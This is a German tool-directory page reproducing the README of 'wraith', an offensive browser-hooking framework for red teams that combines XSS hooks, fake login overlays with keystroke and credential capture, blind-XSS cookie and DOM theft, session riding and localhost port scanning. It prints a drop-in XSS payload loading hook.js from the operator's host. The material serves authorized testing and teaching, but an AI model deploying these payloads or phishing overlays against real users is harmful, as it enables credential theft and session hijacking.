Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wraith — Browser-Hooking-Framework für autorisierte Red Teams und Lehrende. Hookt Browser über XSS, bietet interaktive Post-Exploitation-Kontrolle, Blind-XSS-Beuteerfassung, Social-Engineering-Overlays und ein Übungslabor. | Kitploit
Tools/GitHubGitHub/arcanum-sec/wraith
ExploitationPhishingWebsicherheitPenetrationstestsCommand and ControlSocial EngineeringLernen & BildungRed TeamingLabs & Praxis
GitHubarcanum-sec/wraith

wraith

Browser-Hooking-Framework für autorisierte Red Teams und Lehrende. Hookt Browser über XSS, bietet interaktive Post-Exploitation-Kontrolle, Blind-XSS-Beuteerfassung, Social-Engineering-Overlays und ein Übungslabor.

14614106vor 1 MonatVon Kitploit geprüft
Repository anzeigenWebseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

WRAITH — Browser-Hook-Framework

Ein modernes, eigenständiges Browser-Hooking-Framework für Red Teams, Sicherheitsforscher und Lehrende — ein Clean-Room-Nachfolger von BeEF und den Blind-XSS-Callback-Tools, mit denen wir leben.

NUR FÜR AUTORISIERTE SICHERHEITSTESTS, FORSCHUNG & BILDUNG. WRAITH ist ein Offensiv-Sicherheitstool zur Demonstration und zum Testen von Phishing- / Man-in-the-Browser- / Blind-XSS-Taktiken. Verwenden Sie es nur gegen Systeme und Personen, für die Sie ausdrücklich autorisiert sind. Sie sind für die Art der Nutzung selbst verantwortlich.

WRAITH-Operator-Konsole


Warum wir es gebaut haben

Im Laufe unserer Arbeit bei Arcanum griffen wir immer wieder auf zwei verschiedene Arten von Werkzeugen zurück und wünschten uns, sie wären eine Sache.

Auf der einen Seite war BeEF — das Browser Exploitation Framework — für den klassischen Browser hooken und dann von innerhalb seiner Sitzung aus arbeiten- Workflow: einen Fake-Login keyloggen, das lokale Netzwerk auskundschaften, ein Modul auf ein Live-Opfer schieben. Es ist das Tool, mit dem wir Man-in-the-Browser für Menschen real gemacht haben. Aber es zeigt sein Alter, große Teile davon sind in heutigen Browsern unzuverlässig, und die Social-Engineering-Overlays sehen aus wie Logins von vor einem Jahrzehnt.

Auf der anderen Seite waren unsere bevorzugten Blind-XSS-Callback-Frameworks (XSS Hunter, ezXSS): eine Payload in ein Feld werfen, und in dem Moment, in dem sie irgendwo feuert, wo man sie nicht sehen kann, meldet sie sich mit der Beute zu Hause — Origin, Cookies, DOM, ein Screenshot.

Was wir zunehmend brauchten — besonders als mehr unserer Ziele zu KI- Anwendungsökosystemen wurden, in denen nicht vertrauenswürdiger Text durch Agenten, Tool-Ausgaben, Admin-Review-Warteschlangen und Support-Konsolen fließt und JavaScript an Orten auslöst, die niemand beobachtet — war ein einziges Framework, das beides konnte: die interaktive, persistente Post-Exploitation-Kontrolle eines BeEF-Hooks und die Fire-and-Forget-Blind-XSS-Callback-Beute, in einer Payload, die in aktuellen Browsern zuverlässig ist und wie heutige echte Login-Bildschirme aussieht.

Also haben wir WRAITH gebaut.

Hinweis: Dies ist eine laufende Arbeit

Wir veröffentlichen WRAITH früh und mit Absicht. Wir geben es lieber in die Hände der Leute, die es tatsächlich nutzen werden — und hören, was kaputt geht — als darauf zu sitzen, bis es „fertig" ist.

Das bedeutet: Erwarten Sie raue Kanten und Fehler. Einige Module sind stärker kampferprobt als andere, das Browser-Verhalten verschiebt sich ständig unter uns (siehe die Hinweise zum Netzwerk-Scan unten), und APIs können sich zwischen Versionen ändern. Wenn Sie auf etwas stoßen, eröffnen Sie bitte ein Issue — Reproduktionsschritte, Browser + Version und was Sie erwartet haben, sind Gold wert. Pull Requests sind unter den Beitragsbedingungen des Projekts willkommen.


Schnellstart (Docker)

Der schnellste Weg. Sie benötigen Docker + Docker Compose.

root@kitploit:~
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

setup.sh führt Sie durch alles:

  1. Erkennt Ihre öffentliche IP (oder lässt Sie eine Domain / einen benutzerdefinierten Host eingeben), sodass jede Hook- und Payload-URL mit Ihrer Adresse erstellt wird.
  2. Lässt Sie einen Operator-Benutzernamen + ein Passwort für die Konsolen-Anmeldung festlegen.
  3. Generiert das Sitzungssignierungs-Geheimnis, schreibt eine gitignorierte .env (chmod 600) und baut + startet den Container.
  4. Gibt am Ende Ihre Live-URLs und eine Drop-in-XSS-Payload aus:
root@kitploit:~
  Operator-Konsole : http://YOUR_IP:8090/operator/
  Login-Seite      : http://YOUR_IP:8090/login   (Benutzer "operator")
  Demo-Opfer-Seite : http://YOUR_IP:8090/demo/
  Hook-Payload     : http://YOUR_IP:8090/hook.js

  Drop-in-XSS-Payload:
    "><script src="http://YOUR_IP:8090/hook.js"></script>

Verwalten Sie es mit Standard-Compose-Befehlen:

root@kitploit:~
docker compose logs -f      # beobachten
docker compose down         # stoppen (behält ./data)
./setup.sh                  # neu konfigurieren (Passwort rotieren, Adresse ändern, …)

Erfasste Sitzungen bleiben in ./data/ auf dem Host erhalten — niemals in das Image eingebacken, niemals committet (.env und data/ sind gitignored).

Die Operator-Konsole ist login-geschützt, wann immer ein Operator-Passwort gesetzt ist, mit einer Benutzername- + Passwort-Anmeldung:

Operator-Login

Lokal ohne Docker ausführen (Dev)

root@kitploit:~
npm install
npm start

Öffnen Sie dann die Operator-Konsole unter http://127.0.0.1:3000/operator/ und die Demo-Opfer-Seite unter http://127.0.0.1:3000/demo/ (in einem zweiten Browser/Profil). Auf localhost ist die Anmeldung standardmäßig aus Bequemlichkeit deaktiviert — der Server weigert sich, ohne ein Operator-Passwort an eine öffentliche Schnittstelle zu binden, sodass Sie nicht versehentlich ein offenes Panel exponieren können.


Funktionen

Hook + Operator-Konsole

/hook.js ist eine kleine Payload. Platzieren Sie sie auf jeder Seite, die Sie kontrollieren (<script src="/hook.js"></script>), oder liefern Sie sie über eine XSS in Ihrem Ziel aus. Der Browser, der sie lädt, öffnet einen WebSocket zurück zum Operator, identifiziert sich selbst (Browser, OS, IP, Seite, UA), verbindet sich automatisch neu und übersteht Navigationen. Jeder gehookte Browser erscheint live in der Konsole, wo Sie einen auswählen und steuern — das vollständige Dashboard ist der Hero-Shot oben in dieser README: Gehookte-Browser-Liste, Zieldetails, Bereitstellungssteuerung, Live-Aktivitätsfeed und erfasste Anmeldedaten.

Social-Engineering-Overlays

Modernisierte Fake-Login-Overlays, gerendert in einem isolierten Shadow DOM, damit sie auf jeder Host-Seite pixelgenau aussehen und die Seite dahinter wie ein echtes Re-Auth-Modal frost-verwischen. Wird mit LinkedIn, Facebook und Microsoft / Office 365 ausgeliefert (authentische Zwei-Schritt-E-Mail → Passwort).

LinkedIn-Re-Auth-Overlay über einer Host-Seite

Live-Tastatureingaben + erfasste Anmeldedaten

Jedes Zeichen, das das Ziel in ein Overlay tippt, wird in Echtzeit an die Konsole gestreamt, und die übermittelten Anmeldedaten landen in Erfasste Anmeldedaten — alles wird persistiert, sodass bei Aktualisierung oder Neustart nichts verloren geht.

Live-Tastatureingaben und erfasste Anmeldedaten

Page Capture — die Blind-XSS-Beute

In dem Moment, in dem ein Browser hookt, löst WRAITH automatisch Page Capture aus: genau das, was ein Blind-XSS-Framework greift, wenn Ihre Payload irgendwo feuert, wo Sie sie nicht sehen können — wo sie gefeuert hat (Origin + URL + Referrer), die Cookies des Opfers (nicht-HttpOnly), das vollständige DOM und einen Screenshot. Fehler werden ehrlich gemeldet, weil sie die Lektion sind: HttpOnly-Cookies erscheinen nie, und CSP oder Cross-Origin-Canvas-Tainting können den Screenshot blockieren.

Page-Capture-Blind-XSS-Beute

Page Mirror — gehen Sie über den Screenshot hinaus 🆕

Hier geht WRAITH weiter als die Tools, die es ersetzt. Wenn Sie eine Blind-XSS oder einen Hook in einer Seite landen, bleiben die meisten Frameworks bei einem Screenshot und einem Dump des rohen HTMLs stehen — Sie können sehen, wo Ihre Payload gefeuert hat, aber Sie können nicht wirklich etwas damit anfangen.

WRAITHs Page Mirror verwandelt diese Sackgassen-Beute in eine live, navigierbare Ansicht der Anwendung. Öffnen Sie die gehookte Seite als echte, gerenderte Browser-Ansicht innerhalb der Operator-Konsole — klicken Sie dann auf Links und bewegen Sie sich visuell durch die App, genau wie das Opfer es tun würde.

Page Mirror — eine live, klickbare Ansicht der gehookten Seite

Der Schlüssel: jede Navigation wird durch den gehookten Browser abgerufen, sodass sie die Sitzung und das Same-Origin-Vertrauen des Opfers nutzt. Jede Seite, jeder Endpunkt, jedes Feature, das die Sitzung des Opfers erreichen kann, können auch Sie erreichen — einschließlich Seiten, die hinter einem authentifizierten Sitzungs-Cookie liegen, das Sie nie sehen (und das, da es HttpOnly ist, nie direkt stehlen könnten).

Im Beispiel unten starten wir in der Ticket-Warteschlange eines Support-Agenten und klicken direkt zu einem internen Credential Vault durch — einer Seite, die nur innerhalb einer authentifizierten Agenten-Sitzung aufgelöst wird. Keine Anmeldedaten gephisht, kein Cookie gestohlen: Wir sind einfach auf der Sitzung des Opfers dorthin geritten.

Page Mirror erreicht einen sitzungsgeschützten Vault durch das Opfer

Cross-Origin-Lesezugriffe schlagen weiterhin absichtlich fehl (die Same-Origin-Policy gilt) — die Reichweite des Mirrors ist exakt die Reichweite des Opfers, nicht mehr, nicht weniger. Diese Grenze ist selbst Teil der Lektion.

Blind-XSS-Payload-Katalog

Ein XSS-Hunter-artiger Katalog von einsatzbereiten Injektions-Strings für jeden Kontext (HTML, Attribut-Breakout, Tag-Close, Event-Handler, JS-Kontext, javascript:-URIs, jQuery), jeweils automatisch mit Ihrer Hook-URL gefüllt und mit einem Klick kopierbar.

Blind-XSS-Payload-Katalog

Lokaler / Localhost-Netzwerk-Scan

Nutzt den gehookten Browser als Proxy, um die lokalen Dienste des Opfers zu fingerprinten. Es ist ein Timing-Seitenkanal, neu gebaut für aktuelle Browser — der zuverlässige Standard ist ein kalibrierter 127.0.0.1-Scan mit zwei unabhängigen Primitive (Fetch- und WebSocket-Timing, die wörtliche eBay- check.js-Methode). LAN-Modi sind enthalten, aber ehrlich gekennzeichnet, da Chrome 142+ Local Network Access sie jetzt einschränkt (siehe unten).

Integriertes Übungslabor

Ein absichtlich verwundbarer „Support-Desk" unter /lab mit einem Stored-XSS-Sink, sodass Sie die gesamte Kette Ende-zu-Ende, Same-Origin, demonstrieren können: ein bösartiges Ticket einreichen → ein „Agent" prüft die Warteschlange und die Payload feuert (der Blind-XSS-Moment) → Page Mirror auf den gehookten Agenten und den sitzungsgeschützten Vault ziehen. Absichtlich unsicher by design, mit gepflanzten Flags.

Das integrierte verwundbare Übungslabor


Blind XSS auf dieser Plattform lehren

Der Hook feuert in dem Moment, in dem er lädt, genau wie eine Blind-XSS-Payload, die in ein gespeichertes Feld eingefügt wird und später in einem Admin-/Support-/ Log-/Agenten-Kontext gerendert wird, den Sie nicht sehen können. Lektionen, die direkt in den Daten sichtbar werden:

  • Cookies sind nur JS-lesbar. HttpOnly-Cookies erscheinen nie, was der ganze Sinn von HttpOnly ist — und genau der Grund, warum Page Mirrors Auf-der- Sitzung-reiten-Ansatz wichtiger ist als das Cookie stehlen.
  • Screenshots sind Best-Effort. html2canvas kann durch CSP blockiert werden, und Cross-Origin-Bilder taintieren die Canvas, sodass sie nicht exportiert werden kann. Diese Fehler werden ehrlich gemeldet statt versteckt.
  • Origin + Referrer sagen Ihnen, wo Sie gelandet sind, was bei Blind XSS die gesamte Frage ist („Wo hat meine Payload ausgeführt?").

Für ein Offline-Labor hosten Sie html2canvas selbst — siehe public/vendor/README.md.

Über den Netzwerk-Scan (lesen Sie vor der Demo)

JavaScript kann keine Cross-Origin-Antworten lesen, aber es kann eine Anfrage starten und beobachten, wie sie fehlschlägt und wie schnell, was den Port-Status verrät. Das Modul wurde neu um das herum gebaut, was in aktuellen Browsern (2025–2026) funktioniert, weil der alte LAN-Sweep aus der BeEF-Ära jetzt tot ist.

Die moderne Realität: Chrome 142+ (Okt 2025) hat Local Network Access (LNA) ausgeliefert, das Anfragen an private Bereiche (10.x / 172.16.x / 192.168.x) hinter einer Berechtigungsabfrage einschränkt. Ein blinder LAN-Sweep erreicht das Kabel nicht mehr. Aber Loopback (127.0.0.1) ist weiterhin erreichbar, und das Scannen davon ist der reale Angriff — eBay, Best Buy und andere wurden dabei erwischt, wie sie den Localhost von Besuchern port-scannten, um lokale Dienste und Remote-Access-Tools zu fingerprinten.

Das Modul hat also drei Modi:

  • Dieser Rechner (localhost) — der zuverlässige Standard. Ein kalibrierter 127.0.0.1-Scan, der jeden Port mit Fetch-Timing und WebSocket-Timing testet, zuerst die RST-Baseline dieses Rechners lernt und dann alles, was sich auflöst, hängt oder langsamer läuft, als OPEN markiert, den wahrscheinlichen Dienst beschriftet und zeigt, ob fetch, ws oder beide übereinstimmten. Funktioniert heute in Chrome und Firefox.
  • LAN-Host — eine private IP scannen. Funktioniert nur, wenn der Browser es durchlässt; Chrome 142+ wird es normalerweise blockieren (das Modul erkennt dies und sagt es).
  • LAN-Hosts entdecken — Subnetz-Sweep. Meistens jetzt LNA-blockiert; behalten, um den Block als Lektion zu zeigen.

Wie es sich auf BeEF abbildet (für den Vortrag)

BeEFWRAITH
hook.js + XHR-Pollingpublic/hook.js + WebSocket (live, zuverlässig)
Ruby-Server + RESTful-APIserver.js (Node + ws)
Online/Offline-Browser-PanelOperator-Konsole „Gehookte Browser"
Pretty-Theft-ModulOverlay modules/*.js (modernes LinkedIn/Facebook/Microsoft)
Netzwerk-Erkennung / Port-Scannermodules/portscan.js (kalibriert, aktueller Browser)
Befehls-ErgebnisseLive-Tastatureingaben + Erfasste Anmeldedaten + Scan-Ergebnisse
(kein Äquivalent)Page Capture (Blind-XSS-Beute) + Page Mirror (durch die App navigieren)

„Wie unterscheidet sich das von Blind XSS, Evilginx oder EvilGoPhish?"

Diese Tools leben in verschiedenen Phasen des Angriffs und missbrauchen verschiedene Vertrauenskontexte. Sie sind komplementär und verketten sich miteinander.

WRAITH / BeEFBlind-XSS-Frameworks (XSS Hunter, ezXSS)AiTM-Proxys (Evilginx, EvilGoPhish, Modlishka)
Was es istMan-in-the-Browser-Post-Exploitation-C2 (+ Blind-XSS-Beute)XSS-Erkennung + Beweis mit One-Shot-ReconAdversary-in-the-Middle-Reverse-Proxy
VoraussetzungSie haben bereits JS, das in der Seite läuftGleich: Ihre Payload führt irgendwo aus, das Sie nicht sehen könnenOpfer klickt auf einen Link und loggt sich ein auf Ihrer Nachahmungs-Domain
Origin, das es missbrauchtDie echte Sitzung / echte Origin des OpfersDie Origin der verwundbaren AppEine separate Angreifer-Domain, die die echte Seite proxyt
Was Sie erfassenAnmeldedaten + Tastatureingaben + Recon + Blind-XSS-Beute + durch die App navigieren via Page Mirror„Es hat gefeuert, und hier ist": DOM, Cookies, Screenshot, OriginEchte Anmeldedaten und das Post-MFA-Sitzungstoken
Schlägt MFA?Nein — Sie haben eine statische Anmeldedaten gephishtNur, wenn es auf einer live authentifizierten Sitzung in der Seite reitetJa — das Stehlen des Post-Auth-Sitzungs-Cookies ist der Punkt

Die ehrliche Unterscheidung, die man lehren sollte: Unser Overlay-Phishing erntet, was der Benutzer tippt — es erfasst keine echte Sitzung und schlägt kein MFA. Genau deshalb ist es ein großartiger Kontrast und genau der Grund, warum die Branche zu phishing-resistenter, origin-gebundener Authentifizierung (FIDO2 / WebAuthn / Passkeys) übergegangen ist. Eine realistische Kill-Chain nutzt alle drei: Blind XSS findet und liefert Code-Ausführung, ein WRAITH-Hook gibt interaktive In-Session-Kontrolle (und erreicht über Page Mirror direkt App-Funktionalität), und eine Weiterleitung kann das Opfer in einen Evilginx-Flow für eine echte MFA-bestandene Sitzung führen.

Konfiguration

Alles ist env-getrieben; derselbe Build läuft überall, weil hook.js seine Call-Back-URL von dem Ort ableitet, an dem es ausgeliefert wurde. setup.sh schreibt diese in .env.

Env-VarStandardZweck
WRAITH_HOST127.0.0.1Bind-Schnittstelle (0.0.0.0 zum Exponieren; in Docker erzwungen)
WRAITH_PORT3000HTTP- + WebSocket-Port (setup.sh standardmäßig 8090)
WRAITH_PUBLIC_URL(abgeleitet)Ihre IP/Domain, verwendet zum Ausgeben korrekter Hook-URLs
WRAITH_OP_USER(leer)Operator-Login-Benutzername (optional; setup.sh setzt einen)
WRAITH_OP_PASSWORD(leer)Operator-Login-Passwort; erforderlich für öffentliches Binden
WRAITH_SECRET(zufällig/Boot)signiert Sitzungs-Cookies; setzen Sie es, um Logins über Neustarts zu behalten
WRAITH_SESSION_HOURS12Lebensdauer der Operator-Sitzung
WRAITH_AUTOCAPTURE1Page Capture bei Hook automatisch auslösen (0 = manuell, BeEF-Stil)

Ein signiertes HttpOnly-Sitzungs-Cookie deckt sowohl das Panel als auch den Live-WebSocket ab. Die Hook-Payload, die Demo-Seite und der /ws/hook-Kanal bleiben öffentlich, damit Opfer sie erreichen können. Als Fail-Safe weigert sich der Server, an eine öffentliche Schnittstelle zu binden, es sei denn, ein Passwort ist gesetzt.

Für eine Bare-Metal-/systemd-Bereitstellung statt Docker siehe deploy/DEPLOY.md.

Dateien

root@kitploit:~
server.js            C2-Server (HTTP + WS, zwei Rollen nach Pfad)
config.js            env-getriebene Konfiguration
store.js             dauerhafter Sitzungs-/Beute-Speicher (data/sessions.json)
lab.js               absichtlich verwundbares Übungslabor (/lab)
public/hook.js       die Payload
public/demo/         harmlose „Opfer"-Landing-Page
public/operator/     Operator-Konsole (GUI + Payload-Katalog)
modules/             linkedin.js facebook.js microsoft.js portscan.js capture.js + Registry
public/vendor/       optionale selbst-gehostete Bibliotheken (html2canvas für Offline-Screenshots)
setup.sh             interaktiver Docker-Installer
Dockerfile           / docker-compose.yml
deploy/              Bare-Metal-systemd-Alternative
docs/screenshots/    in dieser README verwendete Bilder

Lizenz & Attribution

WRAITH ist © 2026 Arcanum Information Security, veröffentlicht unter der Apache License 2.0.

Sie können es frei verwenden, modifizieren und weiterverbreiten — auch in Ihrer eigenen Schulung — aber Sie müssen die Attribution beibehalten: Behalten Sie die LICENSE- und NOTICE-Dateien und den Arcanum-Urheberrechtshinweis in allem, was Sie verbreiten oder forken, und geben Sie alle von Ihnen vorgenommenen Änderungen an (Apache-2.0 §4). Siehe NOTICE. Die Lizenz gewährt keine Nutzung des Arcanum-Namens oder der Marken über die Beschreibung der Herkunft des Codes hinaus.

Mit ❤️ gebaut von Arcanum — https://arcanum-sec.com

Tool herunterladen